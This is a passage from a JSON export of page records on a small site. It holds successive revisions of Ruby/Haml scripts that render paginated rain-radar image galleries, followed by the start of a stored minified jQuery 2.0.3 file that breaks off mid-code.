\"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2013-07-14T07:48:00.000Z","updated_at":"2013-07-14T07:48:00.000Z"},{"id":2444,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),5)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2013-07-14T07:48:49.000Z","updated_at":"2013-07-14T07:48:49.000Z"},{"id":2445,"name":"radar/amesh","body":"ruby Radar/Amesh\r\nimages = Dir.glob(\"public/amesh/*.gif\").sort.reverse.map{|x| x.split(\"/\").last}\r\n\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*10),10)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jqueryjs\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/amesh/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n\r\n# vim:set ft=ruby :\r\n","created_at":"2013-07-14T07:49:30.000Z","updated_at":"2013-07-14T07:49:30.000Z"},{"id":2446,"name":"radar/amesh","body":"ruby Radar/Amesh\r\nimages = Dir.glob(\"public/amesh/*.gif\").sort.reverse.map{|x| x.split(\"/\").last}\r\n\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*10),10)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jqueryjs\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/amesh/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar/amesh?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n\r\n# vim:set ft=ruby :\r\n","created_at":"2013-07-14T07:52:53.000Z","updated_at":"2013-07-14T07:52:53.000Z"},{"id":2447,"name":"radar/amesh","body":"ruby Radar/Amesh\r\nimages = Dir.glob(\"public/amesh/*.png\").sort.reverse.map{|x| x.split(\"/\").last}\r\n\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*10),10)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jqueryjs\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/amesh/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar/amesh?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n\r\n# vim:set ft=ruby :\r\n","created_at":"2013-07-14T07:57:07.000Z","updated_at":"2013-07-14T07:57:07.000Z"},{"id":2448,"name":"radar/amesh","body":"ruby Radar/Amesh\r\nimages = Dir.glob(\"public/amesh/*.png\").sort.reverse.map{|x| x.split(\"/\").last}\r\nimages.delete(\"msk000.png\")\r\n\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*10),10)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jqueryjs\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/amesh/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar/amesh?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n\r\n# vim:set ft=ruby :","created_at":"2013-07-14T08:00:51.000Z","updated_at":"2013-07-14T08:00:51.000Z"},{"id":2449,"name":"radar/amesh","body":"ruby Radar/Amesh\r\nimages = Dir.glob(\"public/amesh/*.png\").sort.reverse.map{|x| x.split(\"/\").last}\r\nimages.delete(\"msk000.png\")\r\n\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*10),10)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jqueryjs\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/amesh/\"+i, :alt =\u003e \"\"}\r\n %br\r\n =i.split(\".\").first\r\n #pager\r\n %a{:href =\u003e \"/radar/amesh?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n\r\n# vim:set ft=ruby :","created_at":"2013-07-14T08:01:25.000Z","updated_at":"2013-07-14T08:01:25.000Z"},{"id":2450,"name":"radar/amesh","body":"ruby Radar/Amesh\r\nimages = Dir.glob(\"public/amesh/*.png\").sort.reverse.map{|x| x.split(\"/\").last}\r\nimages.delete(\"msk000.png\")\r\n\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*10),10)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jqueryjs\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/amesh/\"+i, :alt =\u003e \"\"}\r\n %br\r\n %b=i.split(\".\").first\r\n %br\r\n #pager\r\n %a{:href =\u003e \"/radar/amesh?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n\r\n# vim:set ft=ruby :","created_at":"2013-07-14T08:03:16.000Z","updated_at":"2013-07-14T08:03:16.000Z"},{"id":2451,"name":"radar/amesh","body":"ruby Radar/Amesh\r\nimages = Dir.glob(\"public/amesh/*.png\").sort.reverse.map{|x| x.split(\"/\").last}\r\nimages.delete(\"msk000.png\")\r\n\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*10),10)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jqueryjs\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/amesh/\"+i, :alt =\u003e \"\"}\r\n %br\r\n %b=i.split(\".\").first\r\n %hr\r\n #pager\r\n %a{:href =\u003e \"/radar/amesh?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n\r\n# vim:set ft=ruby :","created_at":"2013-07-14T08:03:26.000Z","updated_at":"2013-07-14T08:03:26.000Z"},{"id":2452,"name":"jquery.js","body":"raw\r\nmime js\r\n/*! jQuery v2.0.3 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license\r\n//@ sourceMappingURL=jquery-2.0.3.min.map\r\n*/\r\n(function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],p=\"2.0.3\",f=c.concat,h=c.push,d=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,x=function(e,n){return new x.fn.init(e,n,t)},b=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,w=/\\S+/g,T=/^(?:\\s*(\u003c[\\w\\W]+\u003e)[^\u003e]*|#([\\w-]*))$/,C=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e|)$/,k=/^-ms-/,N=/-([\\da-z])/gi,E=function(e,t){return t.toUpperCase()},S=function(){o.removeEventListener(\"DOMContentLoaded\",S,!1),e.removeEventListener(\"load\",S,!1),x.ready()};x.fn=x.prototype={jquery:p,constructor:x,init:function(e,t,n){var r,i;if(!e)return this;if(\"string\"==typeof e){if(r=\"\u003c\"===e.charAt(0)\u0026\u0026\"\u003e\"===e.charAt(e.length-1)\u0026\u0026e.length\u003e=3?[null,e,null]:T.exec(e),!r||!r[1]\u0026\u0026t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof x?t[0]:t,x.merge(this,x.parseHTML(r[1],t\u0026\u0026t.nodeType?t.ownerDocument||t:o,!0)),C.test(r[1])\u0026\u0026x.isPlainObject(t))for(r in t)x.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return i=o.getElementById(r[2]),i\u0026\u0026i.parentNode\u0026\u0026(this.length=1,this[0]=i),this.context=o,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?n.ready(e):(e.selector!==undefined\u0026\u0026(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:\"\",length:0,toArray:function(){return d.call(this)},get:function(e){return null==e?this.toArray():0\u003ee?this[this.length+e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0\u003ee?t:0);return this.pushStack(n\u003e=0\u0026\u0026t\u003en?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,t,n,r,i,o,s=arguments[0]||{},a=1,u=arguments.length,l=!1;for(\"boolean\"==typeof s\u0026\u0026(l=s,s=arguments[1]||{},a=2),\"object\"==typeof s||x.isFunction(s)||(s={}),u===a\u0026\u0026(s=this,--a);u\u003ea;a++)if(null!=(e=arguments[a]))for(t in e)n=s[t],r=e[t],s!==r\u0026\u0026(l\u0026\u0026r\u0026\u0026(x.isPlainObject(r)||(i=x.isArray(r)))?(i?(i=!1,o=n\u0026\u0026x.isArray(n)?n:[]):o=n\u0026\u0026x.isPlainObject(n)?n:{},s[t]=x.extend(l,o,r)):r!==undefined\u0026\u0026(s[t]=r));return s},x.extend({expando:\"jQuery\"+(p+Math.random()).replace(/\\D/g,\"\"),noConflict:function(t){return e.$===x\u0026\u0026(e.$=u),t\u0026\u0026e.jQuery===x\u0026\u0026(e.jQuery=a),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){(e===!0?--x.readyWait:x.isReady)||(x.isReady=!0,e!==!0\u0026\u0026--x.readyWait\u003e0||(n.resolveWith(o,[x]),x.fn.trigger\u0026\u0026x(o).trigger(\"ready\").off(\"ready\")))},isFunction:function(e){return\"function\"===x.type(e)},isArray:Array.isArray,isWindow:function(e){return null!=e\u0026\u0026e===e.window},isNumeric:function(e){return!isNaN(parseFloat(e))\u0026\u0026isFinite(e)},type:function(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[m.call(e)]||\"object\":typeof e},isPlainObject:function(e){if(\"object\"!==x.type(e)||e.nodeType||x.isWindow(e))return!1;try{if(e.constructor\u0026\u0026!y.call(e.constructor.prototype,\"isPrototypeOf\"))return!1}catch(t){return!1}return!0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||\"string\"!=typeof e)return null;\"boolean\"==typeof t\u0026\u0026(n=t,t=!1),t=t||o;var r=C.exec(e),i=!n\u0026\u0026[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i\u0026\u0026x(i).remove(),x.merge([],r.childNodes))},parseJSON:JSON.parse,parseXML:function(e){var t,n;if(!e||\"string\"!=typeof e)return null;try{n=new DOMParser,t=n.parseFromString(e,\"text/xml\")}catch(r){t=undefined}return(!t||t.getElementsByTagName(\"parsererror\").length)\u0026\u0026x.error(\"Invalid XML: \"+e),t},noop:function(){},globalEval:function(e){var t,n=eval;e=x.trim(e),e\u0026\u0026(1===e.indexOf(\"use strict\")?(t=o.createElement(\"script\"),t.text=e,o.head.appendChild(t).parentNode.removeChild(t)):n(e))},camelCase:function(e){return e.replace(k,\"ms-\").replace(N,E)},nodeName:function(e,t){return e.nodeName\u0026\u0026e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,s=j(e);if(n){if(s){for(;o\u003ei;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(s){for(;o\u003ei;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:function(e){return null==e?\"\":v.call(e)},makeArray:function(e,t){var n=t||[];return null!=e\u0026\u0026(j(Object(e))?x.merge(n,\"string\"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:g.call(t,e,n)},merge:function(e,t){var n=t.length,r=e.length,i=0;if(\"number\"==typeof n)for(;n\u003ei;i++)e[r++]=t[i];else while(t[i]!==undefined)e[r++]=t[i++];return e.length=r,e},grep:function(e,t,n){var r,i=[],o=0,s=e.length;for(n=!!n;s\u003eo;o++)r=!!t(e[o],o),n!==r\u0026\u0026i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,s=j(e),a=[];if(s)for(;o\u003ei;i++)r=t(e[i],i,n),null!=r\u0026\u0026(a[a.length]=r);else for(i in e)r=t(e[i],i,n),null!=r\u0026\u0026(a[a.length]=r);return f.apply([],a)},guid:1,proxy:function(e,t){var n,r,i;return\"string\"==typeof t\u0026\u0026(n=e[t],t=e,e=n),x.isFunction(e)?(r=d.call(arguments,2),i=function(){return e.apply(t||this,r.concat(d.call(arguments)))},i.guid=e.guid=e.guid||x.guid++,i):undefined},access:function(e,t,n,r,i,o,s){var a=0,u=e.length,l=null==n;if(\"object\"===x.type(n)){i=!0;for(a in n)x.access(e,t,a,n[a],!0,o,s)}else if(r!==undefined\u0026\u0026(i=!0,x.isFunction(r)||(s=!0),l\u0026\u0026(s?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(x(e),n)})),t))for(;u\u003ea;a++)t(e[a],n,s?r:r.call(e[a],a,t(e[a],n)));return i?e:l?t.call(e):u?t(e[0],n):o},now:Date.now,swap:function(e,t,n,r){var i,o,s={};for(o in t)s[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=s[o];return i}}),x.ready.promise=function(t){return n||(n=x.Deferred(),\"complete\"===o.readyState?setTimeout(x.ready):(o.addEventListener(\"DOMContentLoaded\",S,!1),e.addEventListener(\"load\",S,!1))),n.promise(t)},x.each(\"Boolean Number String Function Array Date RegExp Object Error\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function j(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType\u0026\u0026t?!0:\"array\"===n||\"function\"!==n\u0026\u0026(0===t||\"number\"==typeof t\u0026\u0026t\u003e0\u0026\u0026t-1 in e)}t=x(o),function(e,undefined){var t,n,r,i,o,s,a,u,l,c,p,f,h,d,g,m,y,v=\"sizzle\"+-new Date,b=e.document,w=0,T=0,C=st(),k=st(),N=st(),E=!1,S=function(e,t){return e===t?(E=!0,0):0},j=typeof undefined,D=1\u003c\u003c31,A={}.hasOwnProperty,L=[],q=L.pop,H=L.push,O=L.push,F=L.slice,P=L.indexOf||function(e){var t=0,n=this.length;for(;n\u003et;t++)if(this[t]===e)return t;return-1},R=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",M=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",W=\"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",$=W.replace(\"w\",\"w#\"),B=\"\\\\[\"+M+\"*(\"+W+\")\"+M+\"*(?:([*^$|!~]?=)\"+M+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+$+\")|)|)\"+M+\"*\\\\]\",I=\":(\"+W+\")(?:\\\\(((['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+B.replace(3,8)+\")*)|.*)\\\\)|)\",z=RegExp(\"^\"+M+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+M+\"+$\",\"g\"),_=RegExp(\"^\"+M+\"*,\"+M+\"*\"),X=RegExp(\"^\"+M+\"*([\u003e+~]|\"+M+\")\"+M+\"*\"),U=RegExp(M+\"*[+~]\"),Y=RegExp(\"=\"+M+\"*([^\\\\]'\\\"]*)\"+M+\"*\\\\]\",\"g\"),V=RegExp(I),G=RegExp(\"^\"+$+\"$\"),J={ID:RegExp(\"^#(\"+W+\")\"),CLASS:RegExp(\"^\\\\.(\"+W+\")\"),TAG:RegExp(\"^(\"+W.replace(\"w\",\"w*\")+\")\"),ATTR:RegExp(\"^\"+B),PSEUDO:RegExp(\"^\"+I),CHILD:RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+M+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+M+\"*(?:([+-]|)\"+M+\"*(\\\\d+)|))\"+M+\"*\\\\)|)\",\"i\"),bool:RegExp(\"^(?:\"+R+\")$\",\"i\"),needsContext:RegExp(\"^\"+M+\"*[\u003e+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+M+\"*((?:-\\\\d)?\\\\d*)\"+M+\"*\\\\)|)(?=[^-]|$)\",\"i\")},Q=/^[^{]+\\{\\s*\\[native \\w/,K=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,Z=/^(?:input|select|textarea|button)$/i,et=/^h\\d$/i,tt=/'|\\\\/g,nt=RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+M+\"?|(\"+M+\")|.)\",\"ig\"),rt=function(e,t,n){var r=\"0x\"+t-65536;return r!==r||n?t:0\u003er?String.fromCharCode(r+65536):String.fromCharCode(55296|r\u003e\u003e10,56320|1023\u0026r)};try{O.apply(L=F.call(b.childNodes),b.childNodes),L[b.childNodes.length].nodeType}catch(it){O={apply:L.length?function(e,t){H.apply(e,F.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function ot(e,t,r,i){var o,s,a,u,l,f,g,m,x,w;if((t?t.ownerDocument||t:b)!==p\u0026\u0026c(t),t=t||p,r=r||[],!e||\"string\"!=typeof e)return r;if(1!==(u=t.nodeType)\u0026\u00269!==u)return[];if(h\u0026\u0026!i){if(o=K.exec(e))if(a=o[1]){if(9===u){if(s=t.getElementById(a),!s||!s.parentNode)return r;if(s.id===a)return r.push(s),r}else if(t.ownerDocument\u0026\u0026(s=t.ownerDocument.getElementById(a))\u0026\u0026y(t,s)\u0026\u0026s.id===a)return r.push(s),r}else{if(o[2])return O.apply(r,t.getElementsByTagName(e)),r;if((a=o[3])\u0026\u0026n.getElementsByClassName\u0026\u0026t.getElementsByClassName)return O.apply(r,t.getElementsByClassName(a)),r}if(n.qsa\u0026\u0026(!d||!d.test(e))){if(m=g=v,x=t,w=9===u\u0026\u0026e,1===u\u0026\u0026\"object\"!==t.nodeName.toLowerCase()){f=gt(e),(g=t.getAttribute(\"id\"))?m=g.replace(tt,\"\\\\$\u0026\"):t.setAttribute(\"id\",m),m=\"[id='\"+m+\"'] \",l=f.length;while(l--)f[l]=m+mt(f[l]);x=U.test(e)\u0026\u0026t.parentNode||t,w=f.join(\",\")}if(w)try{return O.apply(r,x.querySelectorAll(w)),r}catch(T){}finally{g||t.removeAttribute(\"id\")}}}return kt(e.replace(z,\"$1\"),t,r,i)}function st(){var e=[];function t(n,r){return e.push(n+=\" \")\u003ei.cacheLength\u0026\u0026delete t[e.shift()],t[n]=r}return t}function at(e){return e[v]=!0,e}function ut(e){var t=p.createElement(\"div\");try{return!!e(t)}catch(n){return!1}finally{t.parentNode\u0026\u0026t.parentNode.removeChild(t),t=null}}function lt(e,t){var n=e.split(\"|\"),r=e.length;while(r--)i.attrHandle[n[r]]=t}function ct(e,t){var n=t\u0026\u0026e,r=n\u0026\u00261===e.nodeType\u0026\u00261===t.nodeType\u0026\u0026(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function pt(e){return function(t){var n=t.nodeName.toLowerCase();return\"input\"===n\u0026\u0026t.type===e}}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return(\"input\"===n||\"button\"===n)\u0026\u0026t.type===e}}function ht(e){return at(function(t){return t=+t,at(function(n,r){var i,o=e([],n.length,t),s=o.length;while(s--)n[i=o[s]]\u0026\u0026(n[i]=!(r[i]=n[i]))})})}s=ot.isXML=function(e){var t=e\u0026\u0026(e.ownerDocument||e).documentElement;return t?\"HTML\"!==t.nodeName:!1},n=ot.support={},c=ot.setDocument=function(e){var t=e?e.ownerDocument||e:b,r=t.defaultView;return t!==p\u0026\u00269===t.nodeType\u0026\u0026t.documentElement?(p=t,f=t.documentElement,h=!s(t),r\u0026\u0026r.attachEvent\u0026\u0026r!==r.top\u0026\u0026r.attachEvent(\"onbeforeunload\",function(){c()}),n.attributes=ut(function(e){return e.className=\"i\",!e.getAttribute(\"className\")}),n.getElementsByTagName=ut(function(e){return e.appendChild(t.createComment(\"\")),!e.getElementsByTagName(\"*\").length}),n.getElementsByClassName=ut(function(e){return e.innerHTML=\"\u003cdiv class='a'\u003e\u003c/div\u003e\u003cdiv class='a i'\u003e\u003c/div\u003e\",e.firstChild.className=\"i\",2===e.getElementsByClassName(\"i\").length}),n.getById=ut(function(e){return f.appendChild(e).id=v,!t.getElementsByName||!t.getElementsByName(v).length}),n.getById?(i.find.ID=function(e,t){if(typeof t.getElementById!==j\u0026\u0026h){var n=t.getElementById(e);return n\u0026\u0026n.parentNode?[n]:[]}},i.filter.ID=function(e){var t=e.replace(nt,rt);return function(e){return e.getAttribute(\"id\")===t}}):(delete i.find.ID,i.filter.ID=function(e){var t=e.replace(nt,rt);return function(e){var n=typeof e.getAttributeNode!==j\u0026\u0026e.getAttributeNode(\"id\");return n\u0026\u0026n.value===t}}),i.find.TAG=n.getElementsByTagName?function(e,t){return typeof t.getElementsByTagName!==j?t.getElementsByTagName(e):undefined}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if(\"*\"===e){while(n=o[i++])1===n.nodeType\u0026\u0026r.push(n);return r}return o},i.find.CLASS=n.getElementsByClassName\u0026\u0026function(e,t){return typeof t.getElementsByClassName!==j\u0026\u0026h?t.getElementsByClassName(e):undefined},g=[],d=[],(n.qsa=Q.test(t.querySelectorAll))\u0026\u0026(ut(function(e){e.innerHTML=\"\u003cselect\u003e\u003coption selected=''\u003e\u003c/option\u003e\u003c/select\u003e\",e.querySelectorAll(\"[selected]\").length||d.push(\"\\\\[\"+M+\"*(?:value|\"+R+\")\"),e.querySelectorAll(\":checked\").length||d.push(\":checked\")}),ut(function(e){var 